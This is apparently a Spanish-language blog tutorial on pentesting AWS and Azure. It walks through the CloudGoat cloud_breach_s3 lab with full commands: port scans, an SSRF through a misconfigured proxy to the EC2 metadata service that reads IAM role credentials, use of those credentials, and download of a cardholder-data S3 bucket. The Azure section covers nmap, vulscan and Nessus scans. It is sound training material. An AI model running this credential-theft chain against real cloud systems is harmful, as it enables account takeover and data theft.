PENTESTING A SERVIDORES EN LA NUBE DE AMAZON AWS Y MICROSOFT AZURE

Continuando con el tema de Pentesting Cloud, en esta entrada basada en el artículo “Pentesting a servidores en la nube de Amazon AWS y Microsoft Azure.” de Jhonatan Valencia Arango. Se hablará sobre algunas técnicas y herramientas utilizadas para el Pentesting a servidores alojados en estas plataformas.

 

PENTESTING EN LA NUBE DE AWS

AWS en la actualidad ofrece cientos de servicios que se alojan en la nube, entre ellos se brindan servicios de cómputo y almacenamiento, entrega de contenido, administración de seguridad, infraestructura, redes, entre otros. Dentro de los servicios a los cuales les podemos realizar pruebas de penetración en AWS se tienen, por ejemplo, API’s que se hayan desarrollado, aplicaciones web, máquinas virtuales y lo que definitivamente no se puede probar están los servidores pertenecientes a AWS, hardware físico o infraestructura que pertenezca a AWS, EC2 que pertenezcan al proveedor, entre otros.

A continuación se realizará un caso práctico de penetración de caja negra en nube para ver las vulnerabilidades (basado en el caso de la entidad bancaria Capital One, sucedida en el año 2019) utilizando las herramientas cloudgoat y prowler (Se deben tener privilegios administrativos): aws sts get-caller-identity

Imagen 1 - Validamos mediante el CLI que se haya iniciado sesión con las credenciales de AWS. (Fuente: AWSSecurityLATAM )

 

Se debe buscar el repositorio de git para descargar cloudgoat y seguir los pasos para desplegarlo, comenzando por clonar el repositorio: git clone https://github.com/RhinoSecurityLabs/cloudgoat.git

Imagen 2 - Pasos para clonar repositorio cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se debe ejecutar el comando que instala las librerías necesarias para ejecutar cloudgoat y otorgar permisos para ejecución: pip3 install -r ./core/Python/requirements.txt

Imagen 3 - Dependencias instaladas para el funcionamiento de cloudgoat. (Fuente: AWSSecurityLATAM)

 

Chmod u+x cloudgoat.py

Imagen 4 - Comando para otorgar permisos a cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se debe crear un perfil en cloudgoat: ./cloudgoat.py config profile

Imagen 5 - Comando para crear perfíl en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Adentrándose un poco más en el repositorio y la documentación de cloudgoat, se evidencia que existen diferentes escenarios y la dificultad para los cuales se puede utilizar la herramienta, en este caso se usará el escenario cloud_breach_s3 considerada como dificultad moderada.

Se ejecuta el comando de cloudgoat con el escenario deseado: ./cloudgoat.py create cloud_breach_s3

Imagen 6 - Comando para ejecutar el escenario cloud_breach_s3 en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Imagen 7 - Resultado de ejecutar el escenario cloud_breach_s3 en cloudgoat. (Fuente: AWSSecurityLATAM )

 

Se puede identificar que el resultado de ejecutar el escenario cloud_breach_s3, nos retorna una IP pública, la cual se utilizará para realizar el escaneo, es por esta razón que se dice que se realizará una prueba de caja negra ya que no se proporciona mayor información sobre los servicios que tiene alojada la cuenta de AWS.

mkdir breach_s3

Imagen 8 - Crear un directorio en la raíz llamada cloud_breach_s3 para almacenar toda la información que se vaya obteniendo. (Fuente: AWSSecurityLATAM )

 

Se ejecuta Nmap para descubrir equipos, puertos, evaluaciones de seguridad, análisis de seguridad sobre servicios de activos tecnológicos, en este caso, se requiere para escanear los puertos y sus versiones: nmap -sV –min-rate=5000 -p- 18.204.23.134

Imagen 9 - Escaneo de todos los puertos existentes con Nmap. (Fuente: AWSSecurityLATAM )

 

Se debe abrir una nueva terminal e ingresar con el super usuario para clonar el repositorio de la herramienta Prowler, la cual permite realizar análisis de seguridad, basada en los controles del CIS (Controles de Seguridad de Internet). git clone https://github.com/toniblyx/prowler

Imagen 10 - Proceso de clonado del repositorio de Prowler. (Fuente: AWSSecurityLATAM )

 

Se ingresa a la carpeta de prowler: ls

Imagen 11 - Listado de elementos en la carpeta de Prowler. (Fuente: AWSSecurityLATAM )

 

Se realiza el escaneo de vulnerabilidades con Prowler: ./prowler

Imagen 12 - Escaneo de Prowler. (Fuente: AWSSecurityLATAM )

 

Imagen 13 - Resultados del escaneo de Prowler. (Fuente: AWSSecurityLATAM )

 

Prowler realiza el escaneo y verificación de los diferentes puntos de control que se encuentran publicados en el CIS, iniciando por el módulo de Identity and Access Management, en caso de cumplirse con el chequeo, la prueba pasa, en caso contrario, sale como fallido y serían los huecos de seguridad que deben entrar en un proceso de revisión basados en la severidad del caso (Critical, Medium, Low), ya que al no ser tratados, se facilitaría un ataque de fuerza bruta.

Al regresar a la terminal en donde se ha ejecutado el comando de Nmap, los resultados reflejan que posiblemente se tiene un bloqueo por medio de las validaciones de ping, pero se sugiere ejecutar con el flag -Pn: nmap -sV –min-rate=5000 -p- -Pn 18.204.23.134

Imagen 14 - Resultados del escaneo con Nmap y el flag -Pn. (Fuente: AWSSecurityLATAM )

 

Con la información resultante se evidencia que se está corriendo un servidor http en el puerto 80, para lo cual podemos hacer una auditoría utilizando la herramienta Nikto para identificar vulnerabilidades web, en el caso de este servidor arroja que no tiene la cabecera de seguridad X-frame-Options y puede ser vulnerable a ataques de clickjacking(Ingeniería social), tampoco cuenta con cabecera X-XSS-Protection lo cual podría ser vulnerable a explotación de formularios XSS, así mismo, se puede evidenciar que no cuenta con cabecera X-Content-Type-Options: nikto -h http://18.204.23.134

Imagen 15 - Auditoría con Nikto. (Fuente: AWSSecurityLATAM )

 

Al realizar una petición Get mediante cURL a la IP del servidor web, retorna etiquetas HTML que indica que el servidor es un proxy hacia EC2 matadata service (Datos de la instancia que sirven para configurar o administrar la instancia en ejecución). curl http://18.204.23.134

Imagen 16 - Resultado del cURL. (Fuente: AWSSecurityLATAM )

 

Se debe ejecutar el cURL siguiendo la recomendación que se da en la etiqueta HTML, asignando una cabecera con host, se debe usar la IP de la instancia local que permite el enlace local de EC2. curl -H “host: 169.254.169.254” http://18.204.23.134

Imagen 17 - Resultado del cURL asignando la cabecera. (Fuente: AWSSecurityLATAM )

 

Se debe acceder al directorio en donde se encuentra la metadata: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/

Imagen 18 - Resultado del cURL asignando accediendo al directorio de la metadata. (Fuente: AWSSecurityLATAM )

 

Desde el punto de vista de un atacante, el directorio al que inicialmente se accedería, sería la de iam: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/iam/

Imagen 19 - Resultado de acceder al directorio de iam. (Fuente: AWSSecurityLATAM )

 

Ahora es posible acceder al role que devuelve el resultado y a la información allí contenida: curl -H “host: 169.254.169.254” http://18.204.23.134/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidxl4rdallle

Imagen 20 - Información del role. (Fuente: AWSSecurityLATAM )

 

Este caso práctico demuestra la gravedad de haber configurado como proxy y crear una comunicación desde una IP pública hasta una IP privada encargada de mostrar el servicio de metadatos, exponiendo información como las credenciales de un role específico.

Ahora ya es posible autenticarse con las credenciales expuestas: aws configure --profile cloudgoat

Imagen 21 - Autenticación con credenciales del role expuesto. (Fuente: AWSSecurityLATAM )

 

Se edita el archivo de credenciales para actualizar el token con el que se ha expuesto: nano /root/.aws/credentials

Imagen 22 - Modificar archivo credentials. (Fuente: AWSSecurityLATAM )

 

Imagen 23 - Actualización del archivo. (Fuente: AWSSecurityLATAM )

 

Para comprobar que ya se puede acceder con esas credenciales se debe ejecutar el comando sts y comprobar que el role es el que se ha expuesto: aws sts get-caller-identity --profile cloudgoat

Imagen 24 - Ejecución del comando sts. (Fuente: AWSSecurityLATAM )

 

Para comprobar a qué servicios se tiene acceso, se utiliza una herramienta para ataques de fuerza bruta, llamada enumerate iam, se puede descargar el repositorio de git y seguir los pasos para poder usarla: ls

cat enumerate_iam.txt

aws sts get-caller-identity --profile cloudgoat

Imagen 25 - Uso de enumerate iam. (Fuente: AWSSecurityLATAM )

 

Ahora que se tiene el conocimiento de los recursos a los cuales se puede acceder mediante el uso de las credenciales que se han obtenido, se pueden listar los buckets de S3 y los archivos que contiene: aws s3 ls --profile cloudgoat

Imagen 26 - Listado de buckets y sus archivos. (Fuente: AWSSecurityLATAM )

 

Finalmente se puede sincronizar el bucket de S3 con la carpeta local que se ha creado anteriormente, llamada breach_s3 para poder descargar los archivos en la máquina local y poder manipularlos: cd breach_s3/

ls

aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidxl4rdallle ./ --profile cloudgoat

ls

ls -la

Imagen 27 - Sincronización del bucket de S3. (Fuente: AWSSecurityLATAM )

 

Si bien es cierto que AWS ofrece una plataforma sólida para alojar la infraestructura y aplicaciones de las organizaciones, la seguridad es algo que siempre se debe cuidar ya que la fuga de información confidencial es un incidente que puede costar mucho y dañar la reputación de las industrias, para evitarlo se han creado diversas herramientas que permiten encontrar vulnerabilidades, entre ellas tenemos las siguientes:

• AWS Config: Permite evaluar, registrar y auditar las diferentes configuraciones de todos los recursos de AWS.
• Intruder: Permite escanear toda la nube, siendo capaz de monitorear sus redes, aplicaciones web y los diferentes entornos configurados.
• Astra Pentest: Permite encontrar vulnerabilidades y ofrece recomendaciones para corregirlas.
• Cloudmapper: Herramienta de código abierto que permite visualizar de manera interactiva los activos, servicios y componentes de la nube.
• CloudSploit: Permite detectar cientos de amenazas en una cuenta de AWS.

 

PENTESTING EN LA NUBE DE MICROSOFT AZURE

Azure representa una inmensa colección de servidores y hardware los cuales contienen una variada gama de aplicaciones distribuidas. La implementación de una infraestructura cloud trae consigo ciertas ventajas como los costos, que son de fácil administración, entre muchas otras. Sin embargo, así como en los demás proveedores de servicios en la nube, el tema de la seguridad debe ser revisado minuciosamente por la compañía implementadora, ya que son vulnerables a diferentes ataques que afectan su buen funcionamiento o pueden estar sujetos a la exposición de la información de sus clientes.

A continuación, se realizará un caso práctico de penetración de a la nube de Microsoft Azure para ver las vulnerabilidades que puede presentar:

nmap -oX nmap-scan-puertos_externo.xml -sV -P -O 4.227.194.97

Imagen 28 - Escaneo de puertos con Nmap. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Se puede evidenciar que al realizar el escaneo, se encuentran los puertos con los cuales se puede acceder a los servicios y validar los privilegios del servidor.

nmap -oX nmap-scan-web_externo.xml -p 80 -script=http-enum 4.227.194.97

Imagen 29 - Determinar los archivos y carpetas existentes. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Para un ataque, el resultado anterior no representa información que pueda ser de mucha utilidad, para lo cual se ejecuta un nuevo escaneo usando Vulscan: nmap -sV /oX nmap-VULSCAN_externo.xml --script vulscan/ 4.227.194.97

Imagen 30 - Escaneo usando Nmap y Vulscan. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Los resultados del escaneo revelan diferentes vulnerabilidades que se detallan a continuación:

Vulnerabilidad	Fecha publicación	Fuente	Descripción
CVE-2013-3174	07/09/2013	Microsoft Corporation	Permite a atacantes remotos ejecutar código arbitrario a través de un archivo GIF manipulado.
CVE-2013-3154	07/09/2013	Microsoft Corporation	Vulnerabilidad de nombre de ruta incorrecto de Microsoft Windows 7 Defender
CVE-2009-3555	11/09/2009	Red Hat, Inc.	Múltiples productos de Cisco y otros productos, no asocia correctamente los apretones de manos de renegociación con una conexión existente, lo que permite a los atacantes "man-in-themiddle" insertar datos en sesiones HTTPS.

Tabla 1 - Resultados del escaneo de vulnerabilidades

 

Se aplica el escaneo a través de la herramienta Nessus para identificar las diferentes vulnerabilidades del servicio en la nube de Microsoft Azure:

Imagen 31 - Preparación del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Imagen 32 - Ejecución del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Los resultados del escaneo reflejan que se trata de una vulnerabilidad con prioridad media y se debe a que el certificado del servidor no es confiable ya que no cuenta con una autoridad certificadora conocida.

Imagen 33 - Resultados del escaneo de vulnerabilidades con Nessus. (Fuente: Fundación Universitaria Los Libertadores. Sede Bogotá.)

 

Para evitar este tipo de vulnerabilidades que han sido halladas durante los escaneos, se recomienda en primera instancia configurar y habilitar un firewall, actualizar el firmware de los componentes de la red, bloquear protocolos ICMP, realizar escaneos con una alta periodicidad, realizar las actualizaciones que requiere Microsoft, controlar las herramientas de administración de paquetes nativos del sistema operativo.

 

 

@TheHackingDay